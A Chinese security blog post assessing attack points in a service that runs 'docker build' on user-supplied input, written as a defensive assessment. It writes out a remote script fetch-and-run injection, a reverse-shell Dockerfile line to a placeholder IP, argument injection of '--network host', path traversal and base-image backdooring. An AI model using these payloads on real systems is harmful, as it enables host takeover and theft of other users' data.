Docker Build 时的安全问题

作者：leveryd

背景

业务提供一个功能：根据用户的代码仓库编译镜像，并且管理镜像。

编译镜像时的业务实现类似下面这样，其中 image_name_tag、dockerfile_file、dockerfile_path 变量都是从外部 web 入口传入的。

docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}

如果你是这个业务的研发或者安全测试人员，你觉得这里会产生哪些安全漏洞？

我的分析

命令执行

我想大家第一个都会想到"命令执行漏洞"：image_name_tag 变量如果用户传入`wget -c http://xxx/x.sh | bash -c`就能执行远程服务器上的脚本，拿到宿主机服务器权限。

如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含 $、`)，还有其他安全漏洞吗？

Dockerfile 中反弹 shell

-f ${dockerfile_file}这里 Dockerfile 的内容是用户可控的，所以也很容易想到：我们可以在 Dockerfile 中写任意命令，获取到"反弹 shell"。

FROM ubuntuMAINTAINER Victor Coisne victor.coisne@dotcloud.comRUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh    # x.x.x.x/xxxx是ip和端口RUN bash /tmp/1.sh

在"反弹 shell"中我们可以尝试去访问"dockerd 服务"所在的宿主机网络，或者宿主机能访问到的网络，然后可以去测试网络中的脆弱服务。

如果研发大哥在这里用 iptables 对容器和宿主机网络做了隔离，还有其他安全漏洞吗？

用户数据泄漏

Dockerfile 中的第一行 FROM 如果我填写其他用户编译好的镜像名称，是不是有可能读到其他用户镜像呢？

虽然"镜像名称"难猜中，但是这个风险确实是存在的。

如果研发大哥在构建镜像并推送到镜像仓库后，然后用 docker rmi 清空本地的镜像缓存，就不存在这种风险了，那还有其他安全漏洞吗？

给所有镜像种个后门

image_name_tag 是编译后的镜像名，Dockerfile 中的第一行 FROM 指令又需要一个基础镜像，那么是否存在如下可能：A 用户使用的基础镜像是 B 用户 build 生成。如果存在这个可能，那一个恶意用户 build 生成带后门的 nginx、ubuntu 等基础镜像，就可以导致其他用户的生成镜像时都带上后门。

测试后，发现"dockerd 服务"默认会使用本地镜像，所以会出现上面的问题。

--pull=true|falseAlways attempt to pull a newer version of the image. The default is false.

如果研发大哥使用了 docker build --pull=true 每次拉取最新镜像，还有其他安全漏洞吗？

命令参数注入--network host

如果传入 image_name_tag 参数值是 xxx --network host,可以达到 docker build xxx --network host 的效果，配合 Dockerfile 中反弹 shell，可以让 shell 和"dockerd 服务"处于同一个网络。这样 iptables 对容器和宿主机的网络隔离就不起作用了。

当然你还可以注入--build-arg 读宿主机环境变量，或者看看 docker build 还有没有其他的命令行参数可以拿来利用。

如果研发大哥对参数值判断了，不允许-符号传入呢，还有其他安全漏洞吗？

服务数据泄漏

下面的命令可以把"docker 客户端"的/tmp、../../目录下的文件全部拷贝到"编译容器"中，配合 Dockerfile 中反弹 shell，可以在 shell 中读到"docker 客户端"机器上的。

docker build -f ./Dockerfile /tmpdocker build -f ./Dockerfile ../../

同时你可能需要用.dockersignore 文件忽略某些文件或目录，避免一些大文件被拷贝到"编译容器"。

所以如果用户传入 dockerfile_path 参数为../../这种形式的路径，是可以读到机器上的文件。

如果研发大哥判断用户传入的参数，不允许出现..这种目录跳转，还有其他安全漏洞吗？

emm，反正我想不到其他的攻击点了。

另外我想补充说明一下，docker 是一个 cs 架构的软件，所以在做漏洞利用时需要清楚我们是在谁的网络环境下、读谁的文件（谁指的是客户端还是服务端）

总结

本文介绍了一个 docker 相关的安全评估的案例，包括其中的风险点和修复措施，希望你能有点收获。

在做这个评估时，我的感受是：有时候业务评估非常依赖评估人员自身的经验，并且好像没有办法依赖一个方法论(比如 stride)评估出所有风险点。